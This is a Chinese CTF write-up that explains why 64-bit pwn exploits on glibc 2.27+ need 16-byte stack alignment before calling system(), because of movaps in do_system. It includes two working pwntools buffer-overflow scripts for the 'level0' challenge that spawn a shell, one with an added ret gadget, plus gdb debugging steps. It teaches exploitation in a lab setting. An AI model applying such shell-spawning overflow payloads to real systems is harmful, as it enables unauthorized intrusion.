PWN中Glibc引起的64位程序的堆栈平衡
堆栈平衡
PWN 堆栈平衡是指在 PWN 漏洞利用中,为了保证 payload 的字节数是 16 的倍数,需要对堆栈进行平衡;而在 32 位 PWN 漏洞利用中,没有堆栈平衡一说,仅在 64 位中存在
glibc2.27
以后引入 XMM 寄存器,用于记录程序状态。主要出现在 Ubuntu 18.04 及以后的版本,需要考虑堆栈平衡 (栈对齐)主要原因在于:
在调用system()
函数时,会进入do_system
执行一个movaps
指令对 XMM 寄存器进行操作,movaps
指令要求RSP
按 16 字节对齐,即:**RSP
中地址的最低 4 位必须为 0,直观地说,就是该地址必须以数字 0 结尾**问:如何解决堆栈平衡问题?
可以通过在进入system()
函数之前增加一个ret
指令来解决(常用),或者也可以在system()
函数中不执行第一条push rbp
操作来解决问:为什么加的是 ret 指令?
由于在system()
函数之前加入了一个新地址,栈顶被迫下移 8 个字节,使之对齐 16 字节,满足movaps
指令对 XMM 寄存器进行操作的条件;同时,由于插入的地址指向了ret
指令,程序仍然可以顺利地进入system("/bin/sh")
中,不会改变程序执行流程
- XMM 寄存器是 128 位的寄存器,称为:浮点数寄存器,包括 XMM0 - XMM15
XMM 寄存器主要用于:
- 32 位和 64 位浮点数的操作
- SIMD 指令:一条 SIMD 指令可以同时接受多个数据流,提升处理速度
- SSE 指令:一般用不到,不详细讨论
除了 XMM 寄存器外,还有 256 位的 YMM 寄存器和 512 位的 ZMM 寄存器,也是类似的功能
随着 ZMM 的出现,XMM 和 YMM 寄存器的个数被扩展到了 32 个
movups
和movaps
是 x86 汇编语言中的两条指令,用于数据传输操作,通常用于将数据从内存加载到 XMM 寄存器或从 XMM 寄存器存储到内存
movups
把源存储器内容值送入目的寄存器,但不必对齐内存 16 字节
movups xmm, xmm/m128
movups xmm/128, xmm
movaps
把源存储器内容值送入目的寄存器,当有 m128 时,必须对齐内存 16 字节,也就是内存地址低 4 位为全 0
movaps xmm, xmm/m128
movaps xmm/128, xmm
- 除此之外,还可以得知:
- 使用 XMM 寄存器时,需要 16 字节对齐
- 使用 YMM 寄存器时,需要 32 字节对齐
- 使用 ZMM 寄存器时,需要 64 字节对齐
例题
以攻防世界的一道 PWN 题为例:【攻防世界】level0
程序保护机制:
程序逻辑:
存在后门函数:
得到 callsystem
函数的地址为:0x400596
脚本:
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/level0") # 程序在kali的路径
else:
io = remote("61.147.171.105", 56877) # 题目的远程端口
elf = ELF("/home/wyy/桌面/PWN/level0") # 生成对象elf
callsystem_addr = elf.symbols["callsystem"] # 获取callsystem函数的地址,本题为:0x0400596,在ida中可以看到函数的地址
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr) # 这里不用callsystem_addr直接用0x0400596也是可以的
io.recvuntil("Hello, World\n")
io.sendline(payload)
io.interactive()
上面这个脚本在远程是可以打通的,如图:
但是在本地不可以,打不通
显示:[*] Got EOF while reading in interactive
玄学的问题出现了:
同样的脚本,同样的程序,在远程可以打通,在本地就打不通
调试分析
在 python 脚本发送 payload 之前,通过 gdb 附加调试:
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(callsystem_addr)
io.recvuntil("Hello, World\n")
gdb.attach(io)
pause()
io.sendline(payload)
python 脚本被暂停:
gdb 自动断在 read()
函数中:
终端中按任意键继续执行 python 脚本
gdb 直接 finish 跳出 read()
函数:
gdb 一直 ni 单步执行到 system()
函数的调用处
发现参数是 "/bin/sh"
没有问题
gdb 继续 ni 单步执行
发现 gdb 报错:Program received signal SIGSEGV, Segmentation fault.
程序断在:0x7ff1e1c50973 <do_system+115> movaps xmmword ptr [rsp], xmm1
说明这一条指令出现问题
gdb 继续 ni 单步执行也不会发生任何变化
观察 RSP 寄存器的值为 0x7ffffb7aa188
,没有 16 字节对齐(最低 4 位不是 0)
解决办法
在进入 system()
函数之前,增加一个 ret
指令,因为 ret
指令不会改变程序的执行流
使用 ROPgadget 查找 ret 指令地址:ret_addr = 0x400431
将 payload 改为 payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr)
即可打通本地
改进后脚本如下:
from pwn import *
context(os='linux', arch='amd64', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
if content == 1:
io = process("/home/wyy/桌面/PWN/level0") # 程序在kali的路径
else:
io = remote("61.147.171.105", 56877) # 题目的远程端口
elf = ELF("/home/wyy/桌面/PWN/level0") # 生成对象elf
callsystem_addr = elf.symbols["callsystem"] # 获取callsystem函数的地址,本题为:0x0400596,在ida中可以看到函数的地址
ret_addr = 0x400431
payload = b'a' * (0x80 - 0x00 + 0x08) + p64(ret_addr) + p64(callsystem_addr) # 添加一个 p64(ret_addr) 平衡堆栈
io.recvuntil("Hello, World\n")
io.sendline(payload)
io.interactive()
再次调试分析
在 vulnerable_function()
执行完后,会多执行一个 ret
指令,地址位于 0x400431
然后 ni 单步执行到达 system()
函数
使用 si 进入 system()
函数内部
ni 单步执行到 movaps xmmword ptr [rsp], xmm1
语句处
可以看到已经可以通过 ni 单步执行到 movaps xmmword ptr [rsp], xmm1
这一句后面
已经不会再报错了
可以看到此时 RSP 为:0x7ffe95f29310
,已经 16 字节对齐了(最低 4 位为 0)